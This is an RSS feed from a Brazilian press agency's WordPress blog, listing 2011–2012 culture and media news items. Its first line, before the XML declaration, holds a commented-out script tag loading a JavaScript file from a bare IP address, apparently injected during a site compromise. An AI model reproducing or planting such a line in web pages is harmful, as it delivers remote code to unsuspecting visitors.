<!--<script src=http://201.49.218.35/.../j.js></script>-->
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>d&#38;a blog &#187; Cultura &amp; entretenimento</title>
	<atom:link href="http://www.deaimprensa.com.br/blog/category/cultura-e-entretenimento/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.deaimprensa.com.br/blog</link>
	<description>Assessoria de Imprensa</description>
	<lastBuildDate>Fri, 03 Feb 2012 20:09:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Exposição sobre a cidade de São Paulo fica em cartaz até 3 de março no Centro da Cultura Judaica</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/exposicao-sobre-a-cidade-de-sao-paulo-fica-em-cartaz-ate-3-de-marco-no-centro-da-cultura-judaica/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/exposicao-sobre-a-cidade-de-sao-paulo-fica-em-cartaz-ate-3-de-marco-no-centro-da-cultura-judaica/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 17:33:30 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4118</guid>
		<description><![CDATA[
Um novo olhar sobre a arquitetura da capital paulista é a proposta apresentada pelo Centro da Cultura Judaica na exposição O Espaço e o Estrangeiro na Cidade de São Paulo &#8211; Exílio e Modernidade. Com curadoria da professora e pesquisadora Anat Falbel, a mostra apresenta uma São Paulo que muitos conhecem, mas com uma ótica [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/exposicao-sobre-a-cidade-de-sao-paulo-fica-em-cartaz-ate-3-de-marco-no-centro-da-cultura-judaica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leitor do impresso retém mais publicidade</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/leitor-do-impresso-retem-mais-publicidade/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/leitor-do-impresso-retem-mais-publicidade/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 13:42:22 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Publicidade & Propaganda]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4100</guid>
		<description><![CDATA[







 
 Um estudo intitulado “Advertising Affinities”, algo como “Afinidades da Publicidade”, revelou que o leitor do impresso retém quase o dobro de anúncios publicitários do que o leitor on-line.A média de retenção é de 1,3 do impresso contra 0,7 do on-line. 
Um dos motivos que possam explicar essa diferença é que o anúncio no jornal em papel [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/leitor-do-impresso-retem-mais-publicidade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Centro da Cultura Judaica promove roteiro especial em comemoração ao aniversário de São Paulo</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/centro-da-cultura-judaica-promove-roteiro-especial-em-comemoracao-ao-aniversario-de-sao-paulo/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/centro-da-cultura-judaica-promove-roteiro-especial-em-comemoracao-ao-aniversario-de-sao-paulo/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 14:52:59 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Arquitetura & Decoração]]></category>
		<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4076</guid>
		<description><![CDATA[  Um novo olhar sobre a arquitetura da capital paulista é a proposta apresentada pelo Centro da Cultura Judaica na exposição &#8216;O Espaço e o Estrangeiro na Cidade de São Paulo &#8211; Exílio e Modernidade&#8217;. Com curadoria da professora e pesquisadora Anat Falbel, a mostra apresenta uma São Paulo que muitos conhecem, mas com uma [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/centro-da-cultura-judaica-promove-roteiro-especial-em-comemoracao-ao-aniversario-de-sao-paulo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brasileiros usam mais Facebook que Orkut</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/brasileiros-usam-mais-facebook-que-orkut/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/brasileiros-usam-mais-facebook-que-orkut/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 14:11:52 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4073</guid>
		<description><![CDATA[









Após muitas pesquisas afirmarem que o número de brasileiros no Facebook ultrapassou o de brasileiros no Orkut, finalmente chegam resultados oficiais. Dados de uma pesquisa realizada pela comScore foram revelados na terça-feira,17, provando que, de fato, o número de usuários na rede social do Zuckerberg ultrapassou (em 2 milhões de usuários) o antigo fenômeno Orkut.
 
Os dados [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/brasileiros-usam-mais-facebook-que-orkut/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Online cresce e passa jornais na China</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/online-cresce-e-passa-jornais-na-china/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/online-cresce-e-passa-jornais-na-china/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 14:25:24 +0000</pubDate>
		<dc:creator>Renée Beralde</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4062</guid>
		<description><![CDATA[
Pesquisa divulgada pela consultoria iResearch indica que os meios online chineses cresceram 57,3% em 2011 e atingiram o total de R$ 14,5 bilhões (¥ 51,19 bilhões) em investimento publicitário no ano passado, ultrapassando o meio jornal em um dos países com as maiores circulações de publicações impressas do mundo. Os três primeiros colocados em faturamento [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/online-cresce-e-passa-jornais-na-china/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Estadão digitaliza o acervo de seus 137 anos de história</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/estadao-digitaliza-o-acervo-de-seus-137-anos-de-historia/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/estadao-digitaliza-o-acervo-de-seus-137-anos-de-historia/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 11:48:10 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4035</guid>
		<description><![CDATA[O jornal O Estado de S.Paulo abrirá na internet todo o volume de informação de seus 137 anos de história. A consulta estará disponível até junho deste ano e vai relembrar o cotidiano do Brasil e do mundo desde 1875, quando o impresso nasceu sob o nome &#8220;A Província de São Paulo&#8221;.

&#8220;É como se o [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/estadao-digitaliza-o-acervo-de-seus-137-anos-de-historia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Centro da Cultura Judaica apresenta seis dias consecutivos de programação diversificada durante o 9º Ciclo Multicultural</title>
		<link>http://www.deaimprensa.com.br/blog/2011/11/centro-da-cultura-judaica-apresenta-seis-dias-consecutivos-de-programacao-diversificada-durante-o-9%c2%ba-ciclo-multicultural/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/11/centro-da-cultura-judaica-apresenta-seis-dias-consecutivos-de-programacao-diversificada-durante-o-9%c2%ba-ciclo-multicultural/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 19:13:42 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3928</guid>
		<description><![CDATA[ O Centro da Cultura Judaica apresenta, pelo nono ano consecutivo, o Ciclo Multicultural. Entre os dias 3 e 8 de dezembro, quem for ao Centro encontrará um verdadeiro cardápio de atrações gratuitas com diversas atividades para todos os gostos e faixas etárias.
Tradicional no calendário anual da cidade, o Ciclo Multicultural já se consagrou como [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/11/centro-da-cultura-judaica-apresenta-seis-dias-consecutivos-de-programacao-diversificada-durante-o-9%c2%ba-ciclo-multicultural/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fila Night Run São Paulo fecha temporada 2011 com a participação de 14 mil corredores</title>
		<link>http://www.deaimprensa.com.br/blog/2011/11/fila-night-run-sao-paulo-fecha-temporada-2011-com-a-participacao-de-14-mil-corredores/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/11/fila-night-run-sao-paulo-fecha-temporada-2011-com-a-participacao-de-14-mil-corredores/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 19:22:01 +0000</pubDate>
		<dc:creator>Renée Beralde</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Esporte]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3858</guid>
		<description><![CDATA[
Na noite do último sábado, dia 19 de novembro,  São Paulo recebeu a segunda edição da maior corrida de rua noturna do País. Famosa por reunir esporte, balada e muito entretenimento, o evento contou com a participação de 14 mil corredores para a rua.
Os participantes da Fila Night Run foram embalados pelo show da [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/11/fila-night-run-sao-paulo-fecha-temporada-2011-com-a-participacao-de-14-mil-corredores/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft centra rede social em buscas</title>
		<link>http://www.deaimprensa.com.br/blog/2011/11/microsoft-centra-rede-social-em-buscas/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/11/microsoft-centra-rede-social-em-buscas/#comments</comments>
		<pubDate>Thu, 17 Nov 2011 13:52:03 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3849</guid>
		<description><![CDATA[A Microsoft foi tardiamente picada pelo bichinho do comparilhamento  digital e agora dá musculatura ao seu concorrente para o Facebook e  Google Plus. Ela entende que poderá abocanhar fatia do bolo das redes  sociais com o seu já especulado &#8220;Socl&#8221;, que dá os primeiros passos para  encarar a legião de fieis internautas.

De acordo com o site [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/11/microsoft-centra-rede-social-em-buscas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Centro da Cultura Judaica promove 1º festival da inovação da cidade de São Paulo</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/centro-da-cultura-judaica-promove-1%c2%ba-festival-da-inovacao-da-cidade-de-sao-paulo/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/centro-da-cultura-judaica-promove-1%c2%ba-festival-da-inovacao-da-cidade-de-sao-paulo/#comments</comments>
		<pubDate>Mon, 24 Oct 2011 19:52:18 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3701</guid>
		<description><![CDATA[Com o objetivo de expandir a discussão de temas como os direitos humanos, o pacifismo e o meio-ambiente, propostos pela quinta edição do Mês da Cultura da Paz, o Centro da Cultura Judaica promove, no dia 31 de outubro, o 1º Festival da Inovação de São Paulo.  O evento reunirá palestras, projetos, cases, histórias e [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/centro-da-cultura-judaica-promove-1%c2%ba-festival-da-inovacao-da-cidade-de-sao-paulo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

